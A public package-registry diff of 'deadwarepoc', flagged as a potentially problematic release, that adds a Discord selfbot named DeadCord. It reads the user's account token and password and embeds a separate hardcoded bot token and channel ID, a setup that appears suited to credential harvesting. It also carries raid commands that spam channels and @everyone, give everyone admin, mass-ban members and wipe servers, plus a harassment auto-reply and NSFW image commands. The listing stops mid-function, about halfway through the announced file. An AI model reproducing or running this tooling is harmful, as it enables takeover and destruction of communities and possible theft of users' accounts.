deadwarepoc 7.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of deadwarepoc might be problematic. Click here for more details.

@@ -0,0 +1,1032 @@
1
+ ### INFO ###
2
+
3
+ ### IMPORTS ###
4
+ import asyncio, ctypes, json, os, random, string, time, requests, re
5
+
6
+ from colorama import Fore, init
7
+ from win32api import *
8
+ from win32con import *
9
+ from win32file import *
10
+ from win32gui import *
11
+
12
+ ### CONFIG ###
13
+ global chanid #ignore this
14
+ global bottoken #ignore this
15
+
16
+ chanid = 267624335836053506 # change to your channel ID
17
+ bottoken = "OTc1WkMzc0KsMJDskAA" # change to your bot token
18
+
19
+ init()
20
+
21
+ try:
22
+ import discord
23
+ from discord import Permissions
24
+ from discord.ext import commands
25
+ except Exception:
26
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Please install requirements')
27
+
28
+ ### VARIABLES AND STUFF ###
29
+ ### DO NOT TOUCH ANY OF THIS UNLESS YOU KNOW WHAT YOU'RE DOING ###
30
+ class Selfbot():
31
+ __version__ = 0.1
32
+
33
+ class Coms():
34
+ __amount__ = 76
35
+
36
+ with open('config.json') as f:
37
+ config = json.load(f)
38
+
39
+ token = config.get('token')
40
+ password = config.get('password')
41
+ prefix = config.get('prefix')
42
+ nitro_sniper = config.get('nitro_sniper')
43
+
44
+ Deadware = commands.Bot(description='Deadware', command_prefix='d!', bot=True)
45
+
46
+ Deadcord = discord.Client()
47
+ Deadcord = commands.Bot(description='Deadcord Selfbot', command_prefix=prefix, self_bot=True)
48
+ Deadcord.remove_command('help')
49
+
50
+ loop = asyncio.get_event_loop()
51
+
52
+ def Nitro():
53
+ code = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
54
+ return f'https://discord.gift/{code}'
55
+
56
+ def RandomColor():
57
+ randcolor = discord.Color(random.randint(0x000000, 0xFFFFFF))
58
+ return randcolor
59
+
60
+ Deadcord.annoy = None
61
+ replies = ['Shut up', 'Did not ask', 'Do you ever stop', 'Shh', 'Sup', 'Stop it', 'Stop typing', 'Go away']
62
+
63
+ ### MAIN CODE ###
64
+ @Deadcord.event
65
+ async def on_ready():
66
+ if nitro_sniper:
67
+ nitro = f'{Fore.GREEN}Active'
68
+ else:
69
+ nitro = f'{Fore.RED}Disabled'
70
+
71
+ print(f'''{Fore.MAGENTA} ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
72
+ ██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔══██╗
73
+ ██║ ██║█████╗ ███████║██║ ██║██║ ██║ ██║██████╔╝██║ ██║
74
+ ██║ ██║██╔══╝ ██╔══██║██║ ██║██║ ██║ ██║██╔══██╗██║ ██║
75
+ ██████╔╝███████╗██║ ██║██████╔╝╚██████╗╚██████╔╝██║ ██║██████╔╝
76
+ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ''')
77
+ print(' ' * 57 + Fore.WHITE + 'SELFBOT')
78
+ print("")
79
+ print(' ' * 44 + f'{Fore.GREEN}[+] {Fore.MAGENTA}Logged in: ' + f'{Fore.WHITE}' + '{0.user}'.format(Deadcord))
80
+ print(' ' * 44 + f'{Fore.GREEN}[+] {Fore.MAGENTA}DeadCord Version: {Fore.WHITE}v{Selfbot.__version__}')
81
+ print(' ' * 44 + f"{Fore.GREEN}[+] {Fore.MAGENTA}Prefix:{Fore.WHITE} {Deadcord.command_prefix}")
82
+ print(' ' * 44 + f'{Fore.GREEN}[+] {Fore.MAGENTA}Commands: {Fore.WHITE}{Coms.__amount__}')
83
+ print(' ' * 44 + f"{Fore.GREEN}[+] {Fore.MAGENTA}Guilds: " + f'{Fore.WHITE}{len(Deadcord.guilds)}')
84
+ await Deadcord.change_presence(activity=discord.Game(name='DeadCord'))
85
+ ctypes.windll.kernel32.SetConsoleTitleW("DeadCord Selfbot")
86
+ print("")
87
+
88
+ ### EVENTS ###
89
+ @Deadcord.event
90
+ async def on_message(message):
91
+ if Deadcord.annoy is not None and Deadcord.annoy.id == message.author.id:
92
+ await message.channel.send(random.choice(replies) + f' {message.author.name}')
93
+ await Deadcord.process_commands(message)
94
+
95
+
96
+ @Deadcord.event
97
+ async def on_command_error(ctx, error):
98
+ if isinstance(error, commands.CommandNotFound):
99
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Command not found')
100
+ elif isinstance(error, commands.MissingRequiredArgument):
101
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Your missing something')
102
+ ### HELP COMMAND ###
103
+ @Deadcord.command()
104
+ async def help(ctx):
105
+ await ctx.message.delete()
106
+ print("")
107
+ print(' ' * 4 + Fore.MAGENTA + 'DEADCORD HELP COMMANDS')
108
+ print("")
109
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}general', Fore.GREEN + '|', Fore.WHITE + 'general command list')
110
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nsfw', Fore.GREEN + ' |', Fore.WHITE + 'nsfw command list')
111
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}troll', Fore.GREEN + ' |', Fore.WHITE + 'troll command list')
112
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}admin', Fore.GREEN + ' |', Fore.WHITE + 'admin command list')
113
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}misc', Fore.GREEN + ' |', Fore.WHITE + 'misc command list')
114
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}selfbot', Fore.GREEN + '|', Fore.WHITE + 'selfbot command list')
115
+ print("")
116
+
117
+ @Deadcord.command()
118
+ async def general(ctx):
119
+ await ctx.message.delete()
120
+ print("")
121
+ print(' ' * 4 + Fore.MAGENTA + 'GENERAL COMMANDS')
122
+ print("")
123
+ print (Fore.MAGENTA + f'{Deadcord.command_prefix}slap <user>', Fore.GREEN + ' |', Fore.WHITE + 'slaps a user')
124
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}poke <user>', Fore.GREEN + ' |', Fore.WHITE + 'pokes a user')
125
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}tickle <user>', Fore.GREEN + ' |', Fore.WHITE + 'tickles a user')
126
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}woof', Fore.GREEN + ' |', Fore.WHITE + 'displays a dog pic')
127
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}meow', Fore.GREEN + ' |', Fore.WHITE + 'displays a cat pic')
128
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pat <user>', Fore.GREEN + ' |', Fore.WHITE + 'pats a user')
129
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}tableflip', Fore.GREEN + ' |', Fore.WHITE + 'flips table')
130
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}shrug', Fore.GREEN + ' |', Fore.WHITE + 'shrugs')
131
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}unflip', Fore.GREEN + ' |', Fore.WHITE + 'unflips table')
132
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}tts <text>', Fore.GREEN + ' |', Fore.WHITE + 'tts text')
133
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}kanye', Fore.GREEN + ' |', Fore.WHITE + 'kanye quote')
134
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}fu', Fore.GREEN + ' |', Fore.WHITE + 'animated fu message')
135
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}noob', Fore.GREEN + ' |', Fore.WHITE + 'animated noob message')
136
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}lol', Fore.GREEN + ' |', Fore.WHITE + 'flashing lol message')
137
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pop', Fore.GREEN + ' |', Fore.WHITE + 'pop minigame')
138
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}rofl', Fore.GREEN + ' |', Fore.WHITE + 'rofl gif')
139
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}number', Fore.GREEN + ' |', Fore.WHITE + 'picks random number')
140
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}coin', Fore.GREEN + ' |', Fore.WHITE + 'coinflip')
141
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pick <option1> <option2>', Fore.GREEN + '|', Fore.WHITE + 'picks between option 1 and 2')
142
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}dick <member>', Fore.GREEN + ' |', Fore.WHITE + 'dick size')
143
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}n1c', Fore.GREEN + ' |', Fore.WHITE + 'no one cares gif')
144
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}arcade', Fore.GREEN + ' |', Fore.WHITE + 'jackpot machine')
145
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}votekick <member>', Fore.GREEN + ' |', Fore.WHITE + 'starts a votekick')
146
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}DEADCORD', Fore.GREEN + ' |', Fore.WHITE + 'Displays DEADCORD ASCII')
147
+
148
+ @Deadcord.command()
149
+ async def nsfw(ctx):
150
+ await ctx.message.delete()
151
+ print("")
152
+ print(' ' * 10 + 'NSFW COMMANDS')
153
+ print("")
154
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_pussygif', Fore.GREEN + ' |', Fore.WHITE + 'nekos pussygif')
155
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_cum', Fore.GREEN + ' |', Fore.WHITE + 'nekos cum pic')
156
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_tits', Fore.GREEN + ' |', Fore.WHITE + 'nekos tits pic')
157
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_feet', Fore.GREEN + ' |', Fore.WHITE + 'nekos feet pic')
158
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_bj', Fore.GREEN + ' |', Fore.WHITE + 'nekos blowjob pic')
159
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_lewd', Fore.GREEN + ' |', Fore.WHITE + 'nekos lewd pic')
160
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_trap', Fore.GREEN + ' |', Fore.WHITE + 'nekos trap pic')
161
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nekos_wallpaper', Fore.GREEN + '|', Fore.WHITE + 'nekos wallpaper')
162
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}ass', Fore.GREEN + ' |', Fore.WHITE + 'ass pic')
163
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pussy', Fore.GREEN + ' |', Fore.WHITE + 'pussy pic')
164
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}thigh', Fore.GREEN + ' |', Fore.WHITE + 'thigh pic')
165
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pgif', Fore.GREEN + ' |', Fore.WHITE + 'porn gif')
166
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}anal', Fore.GREEN + ' |', Fore.WHITE + 'anal pic')
167
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}fourk', Fore.GREEN + ' |', Fore.WHITE + '4k pic')
168
+
169
+ @Deadcord.command()
170
+ async def troll(ctx):
171
+ await ctx.message.delete()
172
+ print("")
173
+ print(' ' * 19 + Fore.MAGENTA + 'TROLL COMMANDS')
174
+ print("")
175
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}deadcord_spam <message> <duration>', Fore.GREEN + '|', Fore.WHITE + 'spams message')
176
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}everyone <duration>', Fore.GREEN + ' |', Fore.WHITE + 'spams @everyone')
177
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}blank_spam <duration>', Fore.GREEN + ' |', Fore.WHITE + 'spams blank message')
178
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}annoy <member>', Fore.GREEN + ' |', Fore.WHITE + 'starts annoying member')
179
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}stop_annoy', Fore.GREEN + ' |', Fore.WHITE + 'stops annoying member')
180
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}channel_spam', Fore.GREEN + ' |', Fore.WHITE + 'channel spam')
181
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}everyone_admin', Fore.GREEN + ' |', Fore.WHITE + 'tries to give everyone admin')
182
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}mass_ban', Fore.GREEN + ' |', Fore.WHITE + 'tries to mass ban everyone')
183
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}nitro', Fore.GREEN + ' |', Fore.WHITE + 'fake nitro')
184
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}deadcord_wipe', Fore.GREEN + ' |', Fore.WHITE + 'server wipe')
185
+
186
+ @Deadcord.command()
187
+ async def admin(ctx):
188
+ await ctx.message.delete()
189
+ print("")
190
+ print(' ' * 10 + Fore.MAGENTA + 'ADMIN COMMANDS')
191
+ print("")
192
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}copy_guild', Fore.GREEN + ' |', Fore.WHITE + 'copies a guild')
193
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pfp <member>', Fore.GREEN + ' |', Fore.WHITE + 'displays members profile pic')
194
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}addRole <name>', Fore.GREEN + '|', Fore.WHITE + 'creates role')
195
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}rmRole <name>', Fore.GREEN + ' |', Fore.WHITE + 'deletes a role')
196
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}kick <member>', Fore.GREEN + ' |', Fore.WHITE + 'kicks member')
197
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}ban <member>', Fore.GREEN + ' |', Fore.WHITE + 'bans a member')
198
+
199
+ @Deadcord.command()
200
+ async def misc(ctx):
201
+ await ctx.message.delete() #RMEOVE EMB
202
+ print("")
203
+ print(' ' * 10 + Fore.MAGENTA + 'MISC COMMANDS')
204
+ print("")
205
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}pass_gen <length>', Fore.GREEN + ' |', Fore.WHITE + 'password generator')
206
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}spoiler <message>', Fore.GREEN + ' |', Fore.WHITE + 'spoiler message')
207
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}bold <message>', Fore.GREEN + ' |', Fore.WHITE + 'bold message')
208
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}itl <message>', Fore.GREEN + ' |', Fore.WHITE + 'italic message')
209
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}underline <message>', Fore.GREEN + '|', Fore.WHITE + 'underlined message')
210
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}geoip <ip>', Fore.GREEN + ' |', Fore.WHITE + 'geolocation of IP')
211
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}encrypt', Fore.GREEN + ' |', Fore.WHITE + 'sends encrypted message')
212
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}decrypt <message>', Fore.GREEN + ' |', Fore.WHITE + 'shows decrypted message')
213
+
214
+ @Deadcord.command()
215
+ async def selfbot(ctx):
216
+ await ctx.message.delete()
217
+ print("")
218
+ print(' ' * 14 + Fore.MAGENTA + 'SELFBOT COMMANDS')
219
+ print("")
220
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}shutdown', Fore.GREEN + ' |', Fore.WHITE + 'shutdown selfbot')
221
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}change_prefix <prefix>', Fore.GREEN + ' |', Fore.WHITE + 'changes selfbot prefix')
222
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}playing <game>', Fore.GREEN + ' |', Fore.WHITE + 'playing status')
223
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}streaming <name>', Fore.GREEN + ' |', Fore.WHITE + 'streaming status')
224
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}listening <name>', Fore.GREEN + ' |', Fore.WHITE + 'listening status')
225
+ print(Fore.RED + f'{Deadcord.command_prefix}[DISABLED] bug <explain>', Fore.GREEN + ' |', Fore.RED + 'sends bug to devs')
226
+ print(Fore.RED + f'{Deadcord.command_prefix}[DISABLED] suggestion <content>', Fore.GREEN + '|', Fore.RED + 'sends suggestion to the devs')
227
+ print(Fore.MAGENTA + f'{Deadcord.command_prefix}check <token>', Fore.GREEN + '|', Fore.WHITE + 'return state of a token and its details')
228
+
229
+ ### GENERAL COMMANDS ###
230
+ @Deadcord.command()
231
+ async def slap(ctx, member : discord.Member):
232
+ mem = member.mention
233
+ await ctx.message.delete()
234
+ r = requests.get('https://www.nekos.life/api/v2/img/slap')
235
+ res = r.json()
236
+ await ctx.send(mem)
237
+ await ctx.send(res["url"])
238
+
239
+ @Deadcord.command()
240
+ async def poke(ctx, member : discord.Member):
241
+ mem = member.mention
242
+ await ctx.message.delete()
243
+ r = requests.get('https://www.nekos.life/api/v2/img/poke')
244
+ res = r.json()
245
+ await ctx.send(mem)
246
+ await ctx.send(res["url"])
247
+
248
+ @Deadcord.command()
249
+ async def tickle(ctx, member : discord.Member):
250
+ mem = member.mention
251
+ await ctx.message.delete()
252
+ r = requests.get('https://www.nekos.life/api/v2/img/tickle')
253
+ res = r.json()
254
+ await ctx.send(mem)
255
+ await ctx.send(res["url"])
256
+
257
+ @Deadcord.command()
258
+ async def woof(ctx):
259
+ await ctx.message.delete()
260
+ r = requests.get('https://www.nekos.life/api/v2/img/woof')
261
+ res = r.json()
262
+ await ctx.send(res["url"])
263
+
264
+ @Deadcord.command()
265
+ async def meow(ctx):
266
+ await ctx.message.delete()
267
+ r = requests.get('https://www.nekos.life/api/v2/img/meow')
268
+ res = r.json()
269
+ await ctx.send(res["url"])
270
+
271
+ @Deadcord.command()
272
+ async def pat(ctx, member : discord.Member):
273
+ mem = member.mention
274
+ await ctx.message.delete()
275
+ r = requests.get('https://www.nekos.life/api/v2/img/pat')
276
+ res = r.json()
277
+ await ctx.send(mem)
278
+ await ctx.send(res["url"])
279
+
280
+ @Deadcord.command()
281
+ async def tableflip(ctx):
282
+ await ctx.message.delete()
283
+ await ctx.send('(╯°□°)╯︵ ┻━┻')
284
+
285
+ @Deadcord.command()
286
+ async def shrug(ctx):
287
+ m = r'¯\_(ツ)_/¯'
288
+ await ctx.message.delete()
289
+ await ctx.send(m)
290
+
291
+ @Deadcord.command()
292
+ async def unflip(ctx):
293
+ await ctx.message.delete()
294
+ await ctx.send('┬─┬ ノ( ゜-゜ノ)')
295
+
296
+ @Deadcord.command()
297
+ async def tts(ctx, *, msg):
298
+ m = msg
299
+ await ctx.message.delete()
300
+ await ctx.send(m, tts=True)
301
+
302
+ @Deadcord.command()
303
+ async def kanye(ctx):
304
+ await ctx.message.delete()
305
+ r = requests.get('https://api.kanye.rest/')
306
+ res = r.json()
307
+ await ctx.send('**' + res["quote"] + '**' + ' -kanye')
308
+
309
+ @Deadcord.command()
310
+ async def fu(ctx):
311
+ await ctx.message.delete()
312
+ message = await ctx.send(f"Fuck You")
313
+ await message.edit(content="uck You")
314
+ await message.edit(content="ck You")
315
+ await message.edit(content="k You")
316
+ await message.edit(content="You")
317
+ await message.edit(content="ou")
318
+ await message.edit(content="u")
319
+ await message.edit(content="Fuck You")
320
+
321
+ @Deadcord.command()
322
+ async def noob(ctx):
323
+ await ctx.message.delete()
324
+ message = await ctx.send("Noob")
325
+ await message.edit(content="nOob")
326
+ await message.edit(content="noOb")
327
+ await message.edit(content="nooB")
328
+ await message.edit(content="Noob")
329
+ await message.edit(content="nOob")
330
+ await message.edit(content="noOb")
331
+ await message.edit(content="nooB")
332
+ await message.edit(content="Noob")
333
+
334
+ @Deadcord.command()
335
+ async def lol(ctx):
336
+ await ctx.message.delete()
337
+ message = await ctx.send(content="LOL")
338
+ await message.edit(content="** **")
339
+ await message.edit(content="LOL")
340
+ await message.edit(content="** **")
341
+ await message.edit(content="LOL")
342
+ await message.edit(content="** **")
343
+ await message.edit(content="LOL")
344
+
345
+ @Deadcord.command()
346
+ async def pop(ctx):
347
+ await ctx.message.delete()
348
+ await ctx.send('||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||\n||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||\n||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||\n||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||\n||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||||pop||')
349
+
350
+ @Deadcord.command()
351
+ async def number(ctx):
352
+ await ctx.message.delete()
353
+ n = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
354
+ await ctx.send(random.choice(n))
355
+
356
+ @Deadcord.command()
357
+ async def coin(ctx):
358
+ await ctx.message.delete()
359
+ n = ['heads', 'tails']
360
+ await ctx.send(random.choice(n))
361
+
362
+ @Deadcord.command()
363
+ async def pick(ctx, member, *, mem):
364
+ await ctx.message.delete()
365
+ n = [f'{member}', f'{mem}']
366
+ await ctx.send(random.choice(n))
367
+
368
+ @Deadcord.command()
369
+ async def dick(ctx, *, member : discord.Member):
370
+ await ctx.message.delete()
371
+ m = member.mention
372
+ c = ['8=D', '8==D', '8===D', '8====D', '8=====D']
373
+ await ctx.send(f'{m} dick size is ' + random.choice(c))
374
+
375
+ @Deadcord.command()
376
+ async def arcade(ctx):
377
+ await ctx.message.delete()
378
+ c = ['You Lost\n1 2 3', 'You Lost\n1 1 2', 'You Lost\n2 1 1', 'You Lost\n2 3 1', 'WINNER\n1 1 1']
379
+ await ctx.send(random.choice(c))
380
+
381
+ @Deadcord.command()
382
+ async def rofl(ctx):
383
+ await ctx.message.delete()
384
+ await ctx.send("https://tenor.com/view/laughing-hysterically-laugh-crying-gif-13968444")
385
+
386
+ @Deadcord.command()
387
+ async def n1c(ctx):
388
+ await ctx.message.delete()
389
+ await ctx.send("https://tenor.com/view/nobody-cares-nobody-cares-spongebob-imagination-gif-8176136")
390
+
391
+ @Deadcord.command()
392
+ async def votekick(ctx, member : discord.Member, reason = None):
393
+ await ctx.message.delete()
394
+ author = ctx.message.author
395
+ emojis = ['👍', '👎']
396
+ message = await ctx.send(f'**__VoteKick?__**\n{author.mention} Started a vote kick for **{member.mention}**')
397
+ for emoji in emojis:
398
+ await message.add_reaction(emoji)
399
+
400
+ @Deadcord.command()
401
+ async def DEADCORD(ctx):
402
+ await ctx.message.delete()
403
+ await ctx.send("""```██████╗ ███████╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗
404
+ ██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔══██╗
405
+ ██║ ██║█████╗ ███████║██║ ██║██║ ██║ ██║██████╔╝██║ ██║
406
+ ██║ ██║██╔══╝ ██╔══██║██║ ██║██║ ██║ ██║██╔══██╗██║ ██║
407
+ ██████╔╝███████╗██║ ██║██████╔╝╚██████╗╚██████╔╝██║ ██║██████╔╝
408
+ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
409
+
410
+ > Trusted, powerful, purposeful.
411
+ Invite: https://discord.gg/DsbrkKmMmC```""")
412
+
413
+ ### NSFW COMMANDS ###
414
+ @Deadcord.command()
415
+ async def nekos_pussygif(ctx):
416
+ await ctx.message.delete()
417
+ r = requests.get('https://www.nekos.life/api/v2/img/pussy')
418
+ res = r.json()
419
+ await ctx.send(res["url"])
420
+
421
+ @Deadcord.command()
422
+ async def nekos_cum(ctx):
423
+ await ctx.message.delete()
424
+ r = requests.get('https://www.nekos.life/api/v2/img/cum')
425
+ res = r.json()
426
+ await ctx.send(res["url"])
427
+
428
+ @Deadcord.command()
429
+ async def nekos_tits(ctx):
430
+ await ctx.message.delete()
431
+ r = requests.get('https://www.nekos.life/api/v2/img/tits')
432
+ res = r.json()
433
+ await ctx.send(res["url"])
434
+
435
+ @Deadcord.command()
436
+ async def nekos_feet(ctx):
437
+ await ctx.message.delete()
438
+ r = requests.get('https://www.nekos.life/api/v2/img/feet')
439
+ res = r.json()
440
+ await ctx.send(res["url"])
441
+
442
+ @Deadcord.command()
443
+ async def nekos_bj(ctx):
444
+ await ctx.message.delete()
445
+ r = requests.get('https://www.nekos.life/api/v2/img/blowjob')
446
+ res = r.json()
447
+ await ctx.send(res["url"])
448
+
449
+ @Deadcord.command()
450
+ async def nekos_lewd(ctx):
451
+ await ctx.message.delete()
452
+ r = requests.get("https://www.nekos.life/api/v2/img/lewd")
453
+ res = r.json()
454
+ await ctx.send(res["url"])
455
+
456
+ @Deadcord.command()
457
+ async def nekos_trap(ctx):
458
+ await ctx.message.delete()
459
+ r = requests.get("https://www.nekos.life/api/v2/img/trap")
460
+ res = r.json()
461
+ await ctx.send(res["url"])
462
+
463
+ @Deadcord.command()
464
+ async def nekos_wallpaper(ctx):
465
+ await ctx.message.delete()
466
+ r = requests.get("https://nekos.life/api/v2/img/wallpaper")
467
+ res = r.json()
468
+ await ctx.send(res["url"])
469
+
470
+ @Deadcord.command()
471
+ async def ass(ctx):
472
+ await ctx.message.delete()
473
+ r = requests.get("https://nekobot.xyz/api/image?type=ass")
474
+ res = r.json()
475
+ await ctx.send(res["message"])
476
+
477
+ @Deadcord.command()
478
+ async def pussy(ctx):
479
+ await ctx.message.delete()
480
+ r = requests.get("https://nekobot.xyz/api/image?type=pussy")
481
+ res = r.json()
482
+ await ctx.send(res["message"])
483
+
484
+ @Deadcord.command()
485
+ async def thigh(ctx):
486
+ await ctx.message.delete()
487
+ r = requests.get("https://nekobot.xyz/api/image?type=thigh")
488
+ res = r.json()
489
+ await ctx.send(res["message"])
490
+
491
+ @Deadcord.command()
492
+ async def pgif(ctx):
493
+ await ctx.message.delete()
494
+ r = requests.get("https://nekobot.xyz/api/image?type=pgif")
495
+ res = r.json()
496
+ await ctx.send(res["message"])
497
+
498
+ @Deadcord.command()
499
+ async def anal(ctx):
500
+ await ctx.message.delete()
501
+ r = requests.get("https://nekobot.xyz/api/image?type=anal")
502
+ res = r.json()
503
+ await ctx.send(res["message"])
504
+
505
+ @Deadcord.command()
506
+ async def fourk(ctx):
507
+ await ctx.message.delete()
508
+ r = requests.get("https://nekobot.xyz/api/image?type=4k")
509
+ res = r.json()
510
+ await ctx.send(res["message"])
511
+
512
+ ### TROLL COMMANDS ###
513
+ @Deadcord.command()
514
+ async def deadcord_spam(ctx, msg : str = None, *, dur : int = None):
515
+ if msg is None:
516
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Please give a message to spam')
517
+ elif dur is None:
518
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'No duration given')
519
+ else:
520
+ await ctx.message.delete()
521
+ amt = int(dur)
522
+ n=0
523
+ while(n<=amt):
524
+ await ctx.send(f'{msg}')
525
+ n = n+1
526
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Stopped DeadCord_spam')
527
+
528
+ @Deadcord.command()
529
+ async def everyone(ctx, *, dur : int = None):
530
+ if dur is None:
531
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'No duration given')
532
+ else:
533
+ await ctx.message.delete()
534
+ amt = int(dur)
535
+ n=0
536
+ while(n<=amt):
537
+ await ctx.send("@everyone")
538
+ n = n+1
539
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Stopped spamming everyone')
540
+
541
+ @Deadcord.command()
542
+ async def blank_spam(ctx, *, dur : int = None):
543
+ if dur is None:
544
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'No duration given')
545
+ else:
546
+ await ctx.message.delete()
547
+ amt = int(dur)
548
+ n=0
549
+ while(n<=amt):
550
+ await ctx.send("** **")
551
+ n = n+1
552
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Stopped blank_spam')
553
+
554
+ @Deadcord.command()
555
+ async def annoy(ctx, *, user : discord.Member):
556
+ await ctx.message.delete()
557
+ Deadcord.annoy = user
558
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Now annoying {user}')
559
+
560
+ @Deadcord.command()
561
+ async def stop_annoy(ctx):
562
+ await ctx.message.delete()
563
+ if Deadcord.annoy is None:
564
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'You was not annoying anyone')
565
+ return
566
+ else:
567
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + f'Stopped annoying ' + str(Deadcord.annoy))
568
+ Deadcord.annoy = None
569
+
570
+ @Deadcord.command()
571
+ async def channel_spam(ctx):
572
+ await ctx.message.delete()
573
+ for i in range(250):
574
+ try:
575
+ await ctx.guild.create_text_channel(name='DeadCord')
576
+ except:
577
+ return
578
+
579
+ @Deadcord.command()
580
+ async def everyone_admin(ctx):
581
+ await ctx.message.delete()
582
+ guild = ctx.guild
583
+ try:
584
+ role = discord.utils.get(guild.roles, name = "@everyone")
585
+ await role.edit(permissions = Permissions.all())
586
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'I have given everyone admin')
587
+ except:
588
+ print(Fore.MAGENTA + '[DEADCORD]', Fore.WHITE + 'Could not give everyone admin')
589
+
590
+ @Deadcord.command()
591
+ async def mass_ban(ctx):
592
+ await ctx.message.delete()
593
+ guild = ctx.guild
594
+
595
+ for member in guild.members:
596
+ try:
597
+ await member.ban()
598
